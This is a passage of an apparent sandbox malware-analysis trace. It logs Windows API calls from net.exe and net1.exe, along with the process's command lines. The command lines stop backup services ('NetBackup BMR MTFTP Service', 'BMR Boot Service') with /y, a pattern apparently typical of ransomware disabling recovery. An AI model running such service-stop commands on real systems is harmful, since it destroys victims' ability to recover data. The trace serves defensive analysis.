lpBuffer=0x24f760, nSize=0x0, Arguments=0x24f768 | out: lpBuffer="/") returned 0xc7 [0098.418] _wcsnicmp (_String1="NET stop BMR Boot", _String2="NET USER\r\n[userna", _MaxCount=0x11) returned -2 [0098.418] LocalFree (hMem=0x2ff120) returned 0x0 [0098.418] FormatMessageW (in: dwFlags=0x1900, lpSource=0x756d0000, dwMessageId=0xc56, dwLanguageId=0x0, lpBuffer=0x24f760, nSize=0x0, Arguments=0x24f768 | out: lpBuffer="/") returned 0x47 [0098.418] _wcsnicmp (_String1="NET stop BMR Boot", _String2="NET VIEW\r\n[\\\\comp", _MaxCount=0x11) returned -3 [0098.418] LocalFree (hMem=0x2ff120) returned 0x0 [0098.418] FormatMessageW (in: dwFlags=0x1900, lpSource=0x756d0000, dwMessageId=0xc59, dwLanguageId=0x0, lpBuffer=0x24f760, nSize=0x0, Arguments=0x24f768 | out: lpBuffer="/") returned 0xc2 [0098.418] _wcsnicmp (_String1="NET stop BMR Boot", _String2="NET\r\n [ ACCOUN", _MaxCount=0x11) returned 19 [0098.418] LocalFree (hMem=0x2ff120) returned 0x0 [0098.418] FormatMessageW (in: dwFlags=0x1900, lpSource=0x756d0000, dwMessageId=0xc5c, dwLanguageId=0x0, lpBuffer=0x24f760, nSize=0x0, Arguments=0x24f768 | out: lpBuffer="/") returned 0x319 [0098.418] _wcsnicmp (_String1="NET stop BMR Boot", _String2="SERVICES\r\nNET STA", _MaxCount=0x11) returned -5 [0098.418] LocalFree (hMem=0x2ff120) returned 0x0 [0098.418] FormatMessageW (in: dwFlags=0x1900, lpSource=0x756d0000, dwMessageId=0xc5f, dwLanguageId=0x0, lpBuffer=0x24f760, nSize=0x0, Arguments=0x24f768 | out: lpBuffer="/") returned 0x483 [0098.418] _wcsnicmp (_String1="NET stop BMR Boot", _String2="SYNTAX\r\nThe follo", _MaxCount=0x11) returned -5 [0098.418] LocalFree (hMem=0x2ff120) returned 0x0 [0098.418] FormatMessageW (in: dwFlags=0x1900, lpSource=0x756d0000, dwMessageId=0xc62, dwLanguageId=0x0, lpBuffer=0x24f760, nSize=0x0, Arguments=0x24f768 | out: lpBuffer="/") returned 0xa86 [0098.418] _wcsnicmp (_String1="NET stop BMR Boot", _String2="NAMES\r\nThe follow", _MaxCount=0x11) returned 4 [0098.418] LocalFree (hMem=0x2ff120) returned 0x0 [0098.418] FormatMessageW (in: dwFlags=0x1900, lpSource=0x756d0000, dwMessageId=0xc65, dwLanguageId=0x0, lpBuffer=0x24f760, nSize=0x0, Arguments=0x24f768 | out: lpBuffer="/") returned 0x54 [0098.418] _wcsnicmp (_String1="NET stop BMR Boot", _String2="\r\nFor more inform", _MaxCount=0x11) returned 97 [0098.418] LocalFree (hMem=0x2ff120) returned 0x0 [0098.418] FormatMessageW (in: dwFlags=0x1900, lpSource=0x756d0000, dwMessageId=0xbfc, dwLanguageId=0x0, lpBuffer=0x24f760, nSize=0x0, Arguments=0x24f768 | out: lpBuffer="/") returned 0xad [0098.418] _wcsnicmp (_String1="NET stop BMR", _String2="NET ACCOUNTS", _MaxCount=0xc) returned 18 [0098.419] LocalFree (hMem=0x2ff120) returned 0x0 [0098.419] FormatMessageW (in: dwFlags=0x1900, lpSource=0x756d0000, dwMessageId=0xbff, dwLanguageId=0x0, lpBuffer=0x24f760, nSize=0x0, Arguments=0x24f768 | out: lpBuffer="/") returned 0x2e [0098.419] _wcsnicmp (_String1="NET stop BMR", _String2="NET COMPUTER", _MaxCount=0xc) returned 16 [0098.419] LocalFree (hMem=0x2ff120) returned 0x0 [0098.419] FormatMessageW (in: dwFlags=0x1900, lpSource=0x756d0000, dwMessageId=0xc02, dwLanguageId=0x0, lpBuffer=0x24f760, nSize=0x0, Arguments=0x24f768 | out: lpBuffer="/") returned 0x7d [0098.419] _wcsnicmp (_String1="NET stop BMR", _String2="NET CONFIG S", _MaxCount=0xc) returned 16 [0098.419] LocalFree (hMem=0x2ff120) returned 0x0 [0098.419] FormatMessageW (in: dwFlags=0x1900, lpSource=0x756d0000, dwMessageId=0xc05, dwLanguageId=0x0, lpBuffer=0x24f760, nSize=0x0, Arguments=0x24f768 | out: lpBuffer="/") returned 0x26 [0098.419] _wcsnicmp (_String1="NET stop BMR", _String2="NET CONFIG\r\n", _MaxCount=0xc) returned 16 [0098.419] LocalFree (hMem=0x2ff120) returned 0x0 [0098.419] FormatMessageW (in: dwFlags=0x1900, lpSource=0x756d0000, dwMessageId=0xc08, dwLanguageId=0x0, lpBuffer=0x24f760, nSize=0x0, Arguments=0x24f768 | out: lpBuffer="/") returned 0x19 [0098.419] _wcsnicmp (_String1="NET stop BMR", _String2="NET CONTINUE", _MaxCount=0xc) returned 16 [0098.419] LocalFree (hMem=0x2ff120) returned 0x0 [0098.419] FormatMessageW (in: dwFlags=0x1900, lpSource=0x756d0000, dwMessageId=0xc0b, dwLanguageId=0x0, lpBuffer=0x24f760, nSize=0x0, Arguments=0x24f768 | out: lpBuffer="썐/") returned 0x1b [0098.419] _wcsnicmp (_String1="NET stop BMR", _String2="NET FILE\r\n[i", _MaxCount=0xc) returned 13 [0098.419] LocalFree (hMem=0x2fc350) returned 0x0 [0098.419] FormatMessageW (in: dwFlags=0x1900, lpSource=0x756d0000, dwMessageId=0xc0e, dwLanguageId=0x0, lpBuffer=0x24f760, nSize=0x0, Arguments=0x24f768 | out: lpBuffer="/") returned 0xbe [0098.419] _wcsnicmp (_String1="NET stop BMR", _String2="NET GROUP\r\n[", _MaxCount=0xc) returned 12 [0098.419] LocalFree (hMem=0x2ff120) returned 0x0 [0098.419] FormatMessageW (in: dwFlags=0x1900, lpSource=0x756d0000, dwMessageId=0xc11, dwLanguageId=0x0, lpBuffer=0x24f760, nSize=0x0, Arguments=0x24f768 | out: lpBuffer="/") returned 0x33 [0098.419] _wcsnicmp (_String1="NET stop BMR", _String2="NET HELP\r\nco", _MaxCount=0xc) returned 11 [0098.419] LocalFree (hMem=0x2ff120) returned 0x0 [0098.419] FormatMessageW (in: dwFlags=0x1900, lpSource=0x756d0000, dwMessageId=0xc14, dwLanguageId=0x0, lpBuffer=0x24f760, nSize=0x0, Arguments=0x24f768 | out: lpBuffer="/") returned 0x19 [0098.419] _wcsnicmp (_String1="NET stop BMR", _String2="NET HELPMSG\r", _MaxCount=0xc) returned 11 [0098.419] LocalFree (hMem=0x2ff120) returned 0x0 [0098.419] FormatMessageW (in: dwFlags=0x1900, lpSource=0x756d0000, dwMessageId=0xc17, dwLanguageId=0x0, lpBuffer=0x24f760, nSize=0x0, Arguments=0x24f768 | out: lpBuffer="/") returned 0xc1 [0098.419] _wcsnicmp (_String1="NET stop BMR", _String2="NET LOCALGRO", _MaxCount=0xc) returned 7 [0098.419] LocalFree (hMem=0x2ff120) returned 0x0 [0098.419] FormatMessageW (in: dwFlags=0x1900, lpSource=0x756d0000, dwMessageId=0xc1a, dwLanguageId=0x0, lpBuffer=0x24f760, nSize=0x0, Arguments=0x24f768 | out: lpBuffer="썐/") returned 0x16 [0098.419] _wcsnicmp (_String1="NET stop BMR", _String2="NET PAUSE\r\ns", _MaxCount=0xc) returned 3 [0098.419] LocalFree (hMem=0x2fc350) returned 0x0 [0098.419] FormatMessageW (in: dwFlags=0x1900, lpSource=0x756d0000, dwMessageId=0xc1d, dwLanguageId=0x0, lpBuffer=0x24f760, nSize=0x0, Arguments=0x24f768 | out: lpBuffer="/") returned 0x33 [0098.419] _wcsnicmp (_String1="NET stop BMR", _String2="NET SESSION\r", _MaxCount=0xc) returned 15 [0098.419] LocalFree (hMem=0x2ff120) returned 0x0 [0098.419] FormatMessageW (in: dwFlags=0x1900, lpSource=0x756d0000, dwMessageId=0xc20, dwLanguageId=0x0, lpBuffer=0x24f760, nSize=0x0, Arguments=0x24f768 | out: lpBuffer="/") returned 0x234 [0098.419] _wcsnicmp (_String1="NET stop BMR", _String2="NET SHARE\r\ns", _MaxCount=0xc) returned 12 [0098.419] LocalFree (hMem=0x2ff120) returned 0x0 [0098.420] FormatMessageW (in: dwFlags=0x1900, lpSource=0x756d0000, dwMessageId=0xc23, dwLanguageId=0x0, lpBuffer=0x24f760, nSize=0x0, Arguments=0x24f768 | out: lpBuffer="썐/") returned 0x13 [0098.420] _wcsnicmp (_String1="NET stop BMR", _String2="NET START BR", _MaxCount=0xc) returned 14 [0098.420] LocalFree (hMem=0x2fc350) returned 0x0 [0098.420] FormatMessageW (in: dwFlags=0x1900, lpSource=0x756d0000, dwMessageId=0xc26, dwLanguageId=0x0, lpBuffer=0x24f760, nSize=0x0, Arguments=0x24f768 | out: lpBuffer="썐/") returned 0x14 [0098.420] _wcsnicmp (_String1="NET stop BMR", _String2="NET START CL", _MaxCount=0xc) returned 14 [0098.420] LocalFree (hMem=0x2fc350) returned 0x0 [0098.420] FormatMessageW (in: dwFlags=0x1900, lpSource=0x756d0000, dwMessageId=0xc29, dwLanguageId=0x0, lpBuffer=0x24f760, nSize=0x0, Arguments=0x24f768 | out: lpBuffer="썐/") returned 0x14 [0098.420] _wcsnicmp (_String1="NET stop BMR", _String2="NET START EV", _MaxCount=0xc) returned 14 [0098.420] LocalFree (hMem=0x2fc350) returned 0x0 [0098.420] FormatMessageW (in: dwFlags=0x1900, lpSource=0x756d0000, dwMessageId=0xc2c, dwLanguageId=0x0, lpBuffer=0x24f760, nSize=0x0, Arguments=0x24f768 | out: lpBuffer="썐/") returned 0x15 [0098.420] _wcsnicmp (_String1="NET stop BMR", _String2="NET START ME", _MaxCount=0xc) returned 14 [0098.420] LocalFree (hMem=0x2fc350) returned 0x0 [0098.420] FormatMessageW (in: dwFlags=0x1900, lpSource=0x756d0000, dwMessageId=0xc2f, dwLanguageId=0x0, lpBuffer=0x24f760, nSize=0x0, Arguments=0x24f768 | out: lpBuffer="썐/") returned 0x15 [0098.420] _wcsnicmp (_String1="NET stop BMR", _String2="NET START NE", _MaxCount=0xc) returned 14 [0098.420] LocalFree (hMem=0x2fc350) returned 0x0 [0098.420] FormatMessageW (in: dwFlags=0x1900, lpSource=0x756d0000, dwMessageId=0xc32, dwLanguageId=0x0, lpBuffer=0x24f760, nSize=0x0, Arguments=0x24f768 | out: lpBuffer="썐/") returned 0x16 [0098.420] _wcsnicmp (_String1="NET stop BMR", _String2="NET START RP", _MaxCount=0xc) returned 14 [0098.420] LocalFree (hMem=0x2fc350) returned 0x0 [0098.420] FormatMessageW (in: dwFlags=0x1900, lpSource=0x756d0000, dwMessageId=0xc35, dwLanguageId=0x0, lpBuffer=0x24f760, nSize=0x0, Arguments=0x24f768 | out: lpBuffer="썐/") returned 0x11 [0098.420] _wcsnicmp (_String1="NET stop BMR", _String2="NET START RP", _MaxCount=0xc) returned 14 [0098.420] LocalFree (hMem=0x2fc350) returned 0x0 [0098.420] FormatMessageW (in: dwFlags=0x1900, lpSource=0x756d0000, dwMessageId=0xc38, dwLanguageId=0x0, lpBuffer=0x24f760, nSize=0x0, Arguments=0x24f768 | out: lpBuffer="썐/") returned 0x14 [0098.420] _wcsnicmp (_String1="NET stop BMR", _String2="NET START SC", _MaxCount=0xc) returned 14 [0098.420] LocalFree (hMem=0x2fc350) returned 0x0 [0098.420] FormatMessageW (in: dwFlags=0x1900, lpSource=0x756d0000, dwMessageId=0xc3b, dwLanguageId=0x0, lpBuffer=0x24f760, nSize=0x0, Arguments=0x24f768 | out: lpBuffer="썐/") returned 0x12 [0098.420] _wcsnicmp (_String1="NET stop BMR", _String2="NET START SE", _MaxCount=0xc) returned 14 [0098.420] LocalFree (hMem=0x2fc350) returned 0x0 [0098.420] FormatMessageW (in: dwFlags=0x1900, lpSource=0x756d0000, dwMessageId=0xc3e, dwLanguageId=0x0, lpBuffer=0x24f760, nSize=0x0, Arguments=0x24f768 | out: lpBuffer="썐/") returned 0xf [0098.420] _wcsnicmp (_String1="NET stop BMR", _String2="NET START UP", _MaxCount=0xc) returned 14 [0098.420] LocalFree (hMem=0x2fc350) returned 0x0 [0098.420] FormatMessageW (in: dwFlags=0x1900, lpSource=0x756d0000, dwMessageId=0xc41, dwLanguageId=0x0, lpBuffer=0x24f760, nSize=0x0, Arguments=0x24f768 | out: lpBuffer="/") returned 0x17 [0098.420] _wcsnicmp (_String1="NET stop BMR", _String2="NET START WO", _MaxCount=0xc) returned 14 [0098.420] LocalFree (hMem=0x2ff120) returned 0x0 [0098.420] FormatMessageW (in: dwFlags=0x1900, lpSource=0x756d0000, dwMessageId=0xc44, dwLanguageId=0x0, lpBuffer=0x24f760, nSize=0x0, Arguments=0x24f768 | out: lpBuffer="썐/") returned 0x18 [0098.420] _wcsnicmp (_String1="NET stop BMR", _String2="NET START\r\n[", _MaxCount=0xc) returned 14 [0098.420] LocalFree (hMem=0x2fc350) returned 0x0 [0098.421] FormatMessageW (in: dwFlags=0x1900, lpSource=0x756d0000, dwMessageId=0xc47, dwLanguageId=0x0, lpBuffer=0x24f760, nSize=0x0, Arguments=0x24f768 | out: lpBuffer="ᄠ0") returned 0x2a [0098.421] _wcsnicmp (_String1="NET stop BMR", _String2="NET STATISTI", _MaxCount=0xc) returned 14 [0098.421] LocalFree (hMem=0x301120) returned 0x0 [0098.421] FormatMessageW (in: dwFlags=0x1900, lpSource=0x756d0000, dwMessageId=0xc4a, dwLanguageId=0x0, lpBuffer=0x24f760, nSize=0x0, Arguments=0x24f768 | out: lpBuffer="썐/") returned 0x15 [0098.421] _wcsnicmp (_String1="NET stop BMR", _String2="NET STOP\r\nse", _MaxCount=0xc) returned 19 [0098.421] LocalFree (hMem=0x2fc350) returned 0x0 [0098.421] FormatMessageW (in: dwFlags=0x1900, lpSource=0x756d0000, dwMessageId=0xc4d, dwLanguageId=0x0, lpBuffer=0x24f760, nSize=0x0, Arguments=0x24f768 | out: lpBuffer="ᄠ0") returned 0x58 [0098.421] _wcsnicmp (_String1="NET stop BMR", _String2="NET TIME\r\n\r\n", _MaxCount=0xc) returned -1 [0098.421] LocalFree (hMem=0x301120) returned 0x0 [0098.421] FormatMessageW (in: dwFlags=0x1900, lpSource=0x756d0000, dwMessageId=0xc50, dwLanguageId=0x0, lpBuffer=0x24f760, nSize=0x0, Arguments=0x24f768 | out: lpBuffer="ᄠ0") returned 0x184 [0098.421] _wcsnicmp (_String1="NET stop BMR", _String2="NET USE\r\n[de", _MaxCount=0xc) returned -2 [0098.421] LocalFree (hMem=0x301120) returned 0x0 [0098.421] FormatMessageW (in: dwFlags=0x1900, lpSource=0x756d0000, dwMessageId=0xc53, dwLanguageId=0x0, lpBuffer=0x24f760, nSize=0x0, Arguments=0x24f768 | out: lpBuffer="ᄠ0") returned 0xc7 [0098.421] _wcsnicmp (_String1="NET stop BMR", _String2="NET USER\r\n[u", _MaxCount=0xc) returned -2 [0098.421] LocalFree (hMem=0x301120) returned 0x0 [0098.421] FormatMessageW (in: dwFlags=0x1900, lpSource=0x756d0000, dwMessageId=0xc56, dwLanguageId=0x0, lpBuffer=0x24f760, nSize=0x0, Arguments=0x24f768 | out: lpBuffer="ᄠ0") returned 0x47 [0098.421] _wcsnicmp (_String1="NET stop BMR", _String2="NET VIEW\r\n[\\", _MaxCount=0xc) returned -3 [0098.421] LocalFree (hMem=0x301120) returned 0x0 [0098.421] FormatMessageW (in: dwFlags=0x1900, lpSource=0x756d0000, dwMessageId=0xc59, dwLanguageId=0x0, lpBuffer=0x24f760, nSize=0x0, Arguments=0x24f768 | out: lpBuffer="ᄠ0") returned 0xc2 [0098.421] _wcsnicmp (_String1="NET stop BMR", _String2="NET\r\n [ A", _MaxCount=0xc) returned 19 [0098.421] LocalFree (hMem=0x301120) returned 0x0 [0098.421] FormatMessageW (in: dwFlags=0x1900, lpSource=0x756d0000, dwMessageId=0xc5c, dwLanguageId=0x0, lpBuffer=0x24f760, nSize=0x0, Arguments=0x24f768 | out: lpBuffer="ᄠ0") returned 0x319 [0098.421] _wcsnicmp (_String1="NET stop BMR", _String2="SERVICES\r\nNE", _MaxCount=0xc) returned -5 [0098.421] LocalFree (hMem=0x301120) returned 0x0 [0098.421] FormatMessageW (in: dwFlags=0x1900, lpSource=0x756d0000, dwMessageId=0xc5f, dwLanguageId=0x0, lpBuffer=0x24f760, nSize=0x0, Arguments=0x24f768 | out: lpBuffer="ᄠ0") returned 0x483 [0098.421] _wcsnicmp (_String1="NET stop BMR", _String2="SYNTAX\r\nThe ", _MaxCount=0xc) returned -5 [0098.421] LocalFree (hMem=0x301120) returned 0x0 [0098.421] FormatMessageW (in: dwFlags=0x1900, lpSource=0x756d0000, dwMessageId=0xc62, dwLanguageId=0x0, lpBuffer=0x24f760, nSize=0x0, Arguments=0x24f768 | out: lpBuffer="ᄠ0") returned 0xa86 [0098.421] _wcsnicmp (_String1="NET stop BMR", _String2="NAMES\r\nThe f", _MaxCount=0xc) returned 4 [0098.421] LocalFree (hMem=0x301120) returned 0x0 [0098.422] FormatMessageW (in: dwFlags=0x1900, lpSource=0x756d0000, dwMessageId=0xc65, dwLanguageId=0x0, lpBuffer=0x24f760, nSize=0x0, Arguments=0x24f768 | out: lpBuffer="ᄠ0") returned 0x54 [0098.422] _wcsnicmp (_String1="NET stop BMR", _String2="\r\nFor more i", _MaxCount=0xc) returned 97 [0098.422] LocalFree (hMem=0x301120) returned 0x0 [0098.422] FormatMessageW (in: dwFlags=0x1900, lpSource=0x756d0000, dwMessageId=0xbfc, dwLanguageId=0x0, lpBuffer=0x24f760, nSize=0x0, Arguments=0x24f768 | out: lpBuffer="ᄠ0") returned 0xad [0098.422] _wcsnicmp (_String1="NET stop", _String2="NET ACCO", _MaxCount=0x8) returned 18 [0098.422] LocalFree (hMem=0x301120) returned 0x0 [0098.422] FormatMessageW (in: dwFlags=0x1900, lpSource=0x756d0000, dwMessageId=0xbff, dwLanguageId=0x0, lpBuffer=0x24f760, nSize=0x0, Arguments=0x24f768 | out: lpBuffer="ᄠ0") returned 0x2e [0098.422] _wcsnicmp (_String1="NET stop", _String2="NET COMP", _MaxCount=0x8) returned 16 [0098.422] LocalFree (hMem=0x301120) returned 0x0 [0098.422] FormatMessageW (in: dwFlags=0x1900, lpSource=0x756d0000, dwMessageId=0xc02, dwLanguageId=0x0, lpBuffer=0x24f760, nSize=0x0, Arguments=0x24f768 | out: lpBuffer="ᄠ0") returned 0x7d [0098.422] _wcsnicmp (_String1="NET stop", _String2="NET CONF", _MaxCount=0x8) returned 16 [0098.422] LocalFree (hMem=0x301120) returned 0x0 [0098.422] FormatMessageW (in: dwFlags=0x1900, lpSource=0x756d0000, dwMessageId=0xc05, dwLanguageId=0x0, lpBuffer=0x24f760, nSize=0x0, Arguments=0x24f768 | out: lpBuffer="ᄠ0") returned 0x26 [0098.422] _wcsnicmp (_String1="NET stop", _String2="NET CONF", _MaxCount=0x8) returned 16 [0098.422] LocalFree (hMem=0x301120) returned 0x0 [0098.422] FormatMessageW (in: dwFlags=0x1900, lpSource=0x756d0000, dwMessageId=0xc08, dwLanguageId=0x0, lpBuffer=0x24f760, nSize=0x0, Arguments=0x24f768 | out: lpBuffer="ᄠ0") returned 0x19 [0098.422] _wcsnicmp (_String1="NET stop", _String2="NET CONT", _MaxCount=0x8) returned 16 [0098.422] LocalFree (hMem=0x301120) returned 0x0 [0098.422] FormatMessageW (in: dwFlags=0x1900, lpSource=0x756d0000, dwMessageId=0xc0b, dwLanguageId=0x0, lpBuffer=0x24f760, nSize=0x0, Arguments=0x24f768 | out: lpBuffer="썐/") returned 0x1b [0098.422] _wcsnicmp (_String1="NET stop", _String2="NET FILE", _MaxCount=0x8) returned 13 [0098.422] LocalFree (hMem=0x2fc350) returned 0x0 [0098.422] FormatMessageW (in: dwFlags=0x1900, lpSource=0x756d0000, dwMessageId=0xc0e, dwLanguageId=0x0, lpBuffer=0x24f760, nSize=0x0, Arguments=0x24f768 | out: lpBuffer="ᄠ0") returned 0xbe [0098.422] _wcsnicmp (_String1="NET stop", _String2="NET GROU", _MaxCount=0x8) returned 12 [0098.422] LocalFree (hMem=0x301120) returned 0x0 [0098.422] FormatMessageW (in: dwFlags=0x1900, lpSource=0x756d0000, dwMessageId=0xc11, dwLanguageId=0x0, lpBuffer=0x24f760, nSize=0x0, Arguments=0x24f768 | out: lpBuffer="ᄠ0") returned 0x33 [0098.422] _wcsnicmp (_String1="NET stop", _String2="NET HELP", _MaxCount=0x8) returned 11 [0098.422] LocalFree (hMem=0x301120) returned 0x0 [0098.422] FormatMessageW (in: dwFlags=0x1900, lpSource=0x756d0000, dwMessageId=0xc14, dwLanguageId=0x0, lpBuffer=0x24f760, nSize=0x0, Arguments=0x24f768 | out: lpBuffer="ᄠ0") returned 0x19 [0098.422] _wcsnicmp (_String1="NET stop", _String2="NET HELP", _MaxCount=0x8) returned 11 [0098.422] LocalFree (hMem=0x301120) returned 0x0 [0098.422] FormatMessageW (in: dwFlags=0x1900, lpSource=0x756d0000, dwMessageId=0xc17, dwLanguageId=0x0, lpBuffer=0x24f760, nSize=0x0, Arguments=0x24f768 | out: lpBuffer="ᄠ0") returned 0xc1 [0098.422] _wcsnicmp (_String1="NET stop", _String2="NET LOCA", _MaxCount=0x8) returned 7 [0098.422] LocalFree (hMem=0x301120) returned 0x0 [0098.422] FormatMessageW (in: dwFlags=0x1900, lpSource=0x756d0000, dwMessageId=0xc1a, dwLanguageId=0x0, lpBuffer=0x24f760, nSize=0x0, Arguments=0x24f768 | out: lpBuffer="썐/") returned 0x16 [0098.423] _wcsnicmp (_String1="NET stop", _String2="NET PAUS", _MaxCount=0x8) returned 3 [0098.423] LocalFree (hMem=0x2fc350) returned 0x0 [0098.423] FormatMessageW (in: dwFlags=0x1900, lpSource=0x756d0000, dwMessageId=0xc1d, dwLanguageId=0x0, lpBuffer=0x24f760, nSize=0x0, Arguments=0x24f768 | out: lpBuffer="ᄠ0") returned 0x33 [0098.423] _wcsnicmp (_String1="NET stop", _String2="NET SESS", _MaxCount=0x8) returned 15 [0098.423] LocalFree (hMem=0x301120) returned 0x0 [0098.423] FormatMessageW (in: dwFlags=0x1900, lpSource=0x756d0000, dwMessageId=0xc20, dwLanguageId=0x0, lpBuffer=0x24f760, nSize=0x0, Arguments=0x24f768 | out: lpBuffer="ᄠ0") returned 0x234 [0098.423] _wcsnicmp (_String1="NET stop", _String2="NET SHAR", _MaxCount=0x8) returned 12 [0098.423] LocalFree (hMem=0x301120) returned 0x0 [0098.423] FormatMessageW (in: dwFlags=0x1900, lpSource=0x756d0000, dwMessageId=0xc23, dwLanguageId=0x0, lpBuffer=0x24f760, nSize=0x0, Arguments=0x24f768 | out: lpBuffer="썐/") returned 0x13 [0098.423] _wcsnicmp (_String1="NET stop", _String2="NET STAR", _MaxCount=0x8) returned 14 [0098.423] LocalFree (hMem=0x2fc350) returned 0x0 [0098.423] FormatMessageW (in: dwFlags=0x1900, lpSource=0x756d0000, dwMessageId=0xc26, dwLanguageId=0x0, lpBuffer=0x24f760, nSize=0x0, Arguments=0x24f768 | out: lpBuffer="썐/") returned 0x14 [0098.423] _wcsnicmp (_String1="NET stop", _String2="NET STAR", _MaxCount=0x8) returned 14 [0098.423] LocalFree (hMem=0x2fc350) returned 0x0 [0098.423] FormatMessageW (in: dwFlags=0x1900, lpSource=0x756d0000, dwMessageId=0xc29, dwLanguageId=0x0, lpBuffer=0x24f760, nSize=0x0, Arguments=0x24f768 | out: lpBuffer="썐/") returned 0x14 [0098.423] _wcsnicmp (_String1="NET stop", _String2="NET STAR", _MaxCount=0x8) returned 14 [0098.423] LocalFree (hMem=0x2fc350) returned 0x0 [0098.423] FormatMessageW (in: dwFlags=0x1900, lpSource=0x756d0000, dwMessageId=0xc2c, dwLanguageId=0x0, lpBuffer=0x24f760, nSize=0x0, Arguments=0x24f768 | out: lpBuffer="썐/") returned 0x15 [0098.423] _wcsnicmp (_String1="NET stop", _String2="NET STAR", _MaxCount=0x8) returned 14 [0098.423] LocalFree (hMem=0x2fc350) returned 0x0 [0098.423] FormatMessageW (in: dwFlags=0x1900, lpSource=0x756d0000, dwMessageId=0xc2f, dwLanguageId=0x0, lpBuffer=0x24f760, nSize=0x0, Arguments=0x24f768 | out: lpBuffer="썐/") returned 0x15 [0098.423] _wcsnicmp (_String1="NET stop", _String2="NET STAR", _MaxCount=0x8) returned 14 [0098.423] LocalFree (hMem=0x2fc350) returned 0x0 [0098.423] FormatMessageW (in: dwFlags=0x1900, lpSource=0x756d0000, dwMessageId=0xc32, dwLanguageId=0x0, lpBuffer=0x24f760, nSize=0x0, Arguments=0x24f768 | out: lpBuffer="썐/") returned 0x16 [0098.423] _wcsnicmp (_String1="NET stop", _String2="NET STAR", _MaxCount=0x8) returned 14 [0098.423] LocalFree (hMem=0x2fc350) returned 0x0 [0098.423] FormatMessageW (in: dwFlags=0x1900, lpSource=0x756d0000, dwMessageId=0xc35, dwLanguageId=0x0, lpBuffer=0x24f760, nSize=0x0, Arguments=0x24f768 | out: lpBuffer="썐/") returned 0x11 [0098.423] _wcsnicmp (_String1="NET stop", _String2="NET STAR", _MaxCount=0x8) returned 14 [0098.423] LocalFree (hMem=0x2fc350) returned 0x0 [0098.423] FormatMessageW (in: dwFlags=0x1900, lpSource=0x756d0000, dwMessageId=0xc38, dwLanguageId=0x0, lpBuffer=0x24f760, nSize=0x0, Arguments=0x24f768 | out: lpBuffer="썐/") returned 0x14 [0098.423] _wcsnicmp (_String1="NET stop", _String2="NET STAR", _MaxCount=0x8) returned 14 [0098.423] LocalFree (hMem=0x2fc350) returned 0x0 [0098.423] FormatMessageW (in: dwFlags=0x1900, lpSource=0x756d0000, dwMessageId=0xc3b, dwLanguageId=0x0, lpBuffer=0x24f760, nSize=0x0, Arguments=0x24f768 | out: lpBuffer="썐/") returned 0x12 [0098.423] _wcsnicmp (_String1="NET stop", _String2="NET STAR", _MaxCount=0x8) returned 14 [0098.423] LocalFree (hMem=0x2fc350) returned 0x0 [0098.423] FormatMessageW (in: dwFlags=0x1900, lpSource=0x756d0000, dwMessageId=0xc3e, dwLanguageId=0x0, lpBuffer=0x24f760, nSize=0x0, Arguments=0x24f768 | out: lpBuffer="썐/") returned 0xf [0098.424] _wcsnicmp (_String1="NET stop", _String2="NET STAR", _MaxCount=0x8) returned 14 [0098.424] LocalFree (hMem=0x2fc350) returned 0x0 [0098.424] FormatMessageW (in: dwFlags=0x1900, lpSource=0x756d0000, dwMessageId=0xc41, dwLanguageId=0x0, lpBuffer=0x24f760, nSize=0x0, Arguments=0x24f768 | out: lpBuffer="썐/") returned 0x17 [0098.424] _wcsnicmp (_String1="NET stop", _String2="NET STAR", _MaxCount=0x8) returned 14 [0098.424] LocalFree (hMem=0x2fc350) returned 0x0 [0098.424] FormatMessageW (in: dwFlags=0x1900, lpSource=0x756d0000, dwMessageId=0xc44, dwLanguageId=0x0, lpBuffer=0x24f760, nSize=0x0, Arguments=0x24f768 | out: lpBuffer="썐/") returned 0x18 [0098.424] _wcsnicmp (_String1="NET stop", _String2="NET STAR", _MaxCount=0x8) returned 14 [0098.424] LocalFree (hMem=0x2fc350) returned 0x0 [0098.424] FormatMessageW (in: dwFlags=0x1900, lpSource=0x756d0000, dwMessageId=0xc47, dwLanguageId=0x0, lpBuffer=0x24f760, nSize=0x0, Arguments=0x24f768 | out: lpBuffer="ㄠ0") returned 0x2a [0098.424] _wcsnicmp (_String1="NET stop", _String2="NET STAT", _MaxCount=0x8) returned 14 [0098.424] LocalFree (hMem=0x303120) returned 0x0 [0098.424] FormatMessageW (in: dwFlags=0x1900, lpSource=0x756d0000, dwMessageId=0xc4a, dwLanguageId=0x0, lpBuffer=0x24f760, nSize=0x0, Arguments=0x24f768 | out: lpBuffer="썐/") returned 0x15 [0098.424] _wcsnicmp (_String1="NET stop", _String2="NET STOP", _MaxCount=0x8) returned 0 [0098.424] GetFileType (hFile=0x0) returned 0x0 [0098.424] GetConsoleOutputCP () returned 0x1b5 [0098.424] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="NET STOP\r\nservice\r\n\r\n", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0098.424] malloc (_Size=0x16) returned 0x127c90 [0098.424] GetConsoleOutputCP () returned 0x1b5 [0098.424] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="NET STOP\r\nservice\r\n\r\n", cchWideChar=-1, lpMultiByteStr=0x127c90, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NET STOP\r\nservice\r\n\r\n", lpUsedDefaultChar=0x0) returned 22 [0098.424] WriteFile (in: hFile=0x0, lpBuffer=0x127c90, nNumberOfBytesToWrite=0x15, lpNumberOfBytesWritten=0x24f7b8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x24f7b8, lpOverlapped=0x0) returned 0 [0098.424] free (_Block=0x127c90) [0098.424] LocalFree (hMem=0x2fc350) returned 0x0 [0098.425] NetApiBufferFree (Buffer=0x2fc2a0) returned 0x0 [0098.425] NetApiBufferFree (Buffer=0x2fc2c0) returned 0x0 [0098.425] GetCommandLineW () returned="C:\\Windows\\system32\\net1 stop BMR Boot Service /y" [0098.425] exit (_Code=1) Process: id = "12" image_name = "net.exe" filename = "c:\\windows\\system32\\net.exe" page_root = "0x5ce61000" os_pid = "0xf00" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0xe70" cmd_line = "\"net.exe\" stop NetBackup BMR MTFTP Service /y" cur_dir = "C:\\Users\\aETAdzjz\\Desktop\\" os_username = "YKYD69Q\\aETAdzjz" bitness = "32" os_groups = "YKYD69Q\\Domain Users" [0x7], 